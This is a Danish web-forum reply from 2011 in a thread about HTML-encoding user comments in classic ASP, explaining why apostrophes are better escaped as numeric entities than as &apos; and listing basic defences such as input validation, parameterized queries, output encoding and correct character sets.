Stig Johansen
Re: Apostrof
#178
Author: Rune Jensen
Date: Wed, 21 Dec 2011 16:09
114 lines
6953 bytes
On 15 Dec., 22:50, Jens <jens.r.rasmusse...@gmail.com> wrote:
> On 13 Dec., 17:49, Rune Jensen <runeofdenm...@gmail.com> wrote:
>
>
>
> > On 12 Dec., 23:26, Jens <jens.r.rasmusse...@gmail.com> wrote:
>
> > > Næste step - bliver så output til html-siden - og der har du jo givet
> > > mig en fin function, som jeg tror jeg forstår og derfor vil bruge.
>
> > Funktionen svarer nogenlunde til den indbyggede HTMLEncode-funktion*),
> > som du selv skriver du bruger, den skal bare bruges på outputtet i
> > stedet, ja.
>
> > Som Stig skriver, så sørger den for, der ikke kan indtastes
> > eksekverbar kode (fx. javascript) i kommentaren, som så kan udføres på
> > dine brugeres computere, når deres browser læser koden (altså
> > kommentaren). Funktionen sørger iøvrigt også for, du ikke får vrøvl
> > med HTML-validatoren pga. ugyldige tegn...
>
> > Problemet med den indbyggede HTML-encoding funktion er bla., at den
> > ikke kan encode, hvis man bruger UTF-8 til sin HTML. Og det gør flere
> > og flere jo efterhånden, som HTML5 kommer i spil. Derfor kan man
> > ligesågodt lave sin egen funktion fra start, den fylder jo ikke meget.
>
> > Hvis nogen indtaster javascript-kode i en kommentar, som du encoder,
> > bliver den ikke udført - den bliver vist med tekst.
>
> > *)http://www.w3schools.com/ASP/met_htmlencode.asp
>
> > > med taknemmelig hilsen
> > >   /jens- Skjul tekst i anførselstegn -
>
> > Takkker... har lært nok det meste af det jeg ved om ASP af Stig, som
> > også har svaret her.
>
> > MVH
> > Rune Jensen
>
> En sidste kommentar/spørgsmål. Din function indenholder ikke apostrof,
> som jo også er et reserveret tegn i HTML. Men det skyldes måske, at IE
> ikke understøtter &apos; ?

UJddyber lige omkring dette... &apos; er XML-standard, ikke HTML. Man
kan forestille sig, at selv hvis man bruger XHTML, så vil IE ikke
forstå det, fordi IE ikke forstår XML. Men det er også årsagen til,
man _ikke_ bør erstatte med &apos; - man skal erstatte med den
decimale eller som OWASP gør med den hex'e værdi.

> Men er mine ie-brugere så ikke forsat udsat
> for "mærkelige" browser-oplevelser, hvis jeg inkluderer denne i
> funktionen? Eller er skaden ved ikke at replace apostrop ikke så stor?

Som Stig skriver, er faren for injection imellem tagsne størst for < &
og >

Mens man bruger erstatning for apostrof og anførselstegn, hvis man har
dynamisk (brugerinputtet) kode inde i attribut værdier.

Jeg er ikke sikker, men det _kan_ være, at validatoren også brokker
sig over " og ' imellem tagsne og så skal den erstattes under alle
omstændigheder.

Man kan godt slå dem sammen, så man erstatter alt - HTML-koden bliver
lidt længere, men spørgsmålet er, om det gør så meget, for så mange
gange kan man vel heller ikke bruge " og ' i en kommentar.

Stig og jeg lavede på et tidspunkt en lille statistik over, hvilke
angrebsformer der var imod en alm. hjemmeside, og helt klart, med
disse to små "beskyttelser", så fjerner man noget lign. 80% af alle
angrebsmuligheder. Der er stadig andre angrebsmuligheder, men jeg vil
som minimum forvente, man sikrer sig med de nemme løsninger, som ikke
kræver så meget tid.

På den hjemmeside vi lavede statistik på, var langt de fleste
angrebsforsøg automatiske. Men der var to, som var målrettede, altså
en "human user" sad i "enden" af tråden og forsøgte at hacke sig ind.
De angreb blev så stoppet bl.a. med ovenstående, men det er ulig meget
sværere at beskytte sig imod målrettede angreb, end de automatiserede.

Så umiddelbart er det noget med at tage de grundlæggende
beskyttelsmetoder først, dem som ikke kræver så meget tid, og som er
bevist virker. Derefter begynder det så at koste i tid at beskytte
sig, og det bliver færre angrebsmetoder, man kan beskytte sig imod med
samme kode, og så er det en vurderingssag, hvor langt man skal gå.

De "nemme"

1. Validere på input. F.eks. vil en tekst-boks, som forlanger et tal
(f.eks. brugerens alder) kunne valideres med isNumeric. Sådan
validering vil både gavne generel sikkerhed og brugervenlighed.
2. Beskyttelse af database med PQ
3. Encoding af output, og at forsøge at holde oputput til kun imellem
tagsne (så vidt muligt)
4. At opgive korrekt tegnsæt

Vil man mere, dvs. har man f.eks. data på siden som skal beskyttes,
det kan være et forum eller lign. eller andet som gør siden lidt mere
avanceret, bør man måske kigge videre på alle de muligheder, som
brugeren har for at manipulere - det er mere end man tror. Tænk f.eks.
på indhold af en cookie, som bruges direkte som input i serverside
kode, eller brugerinput, som bruges direkte i en fil. Jeg har lavet
begge de sidstnævnte...


MVH
Rune Jensen
Thread Navigation

This is a paginated view of messages in the thread with full content displayed inline.

Messages are displayed in chronological order, with the original post highlighted in green.

Use pagination controls to navigate through all messages in large threads.

Back to All Threads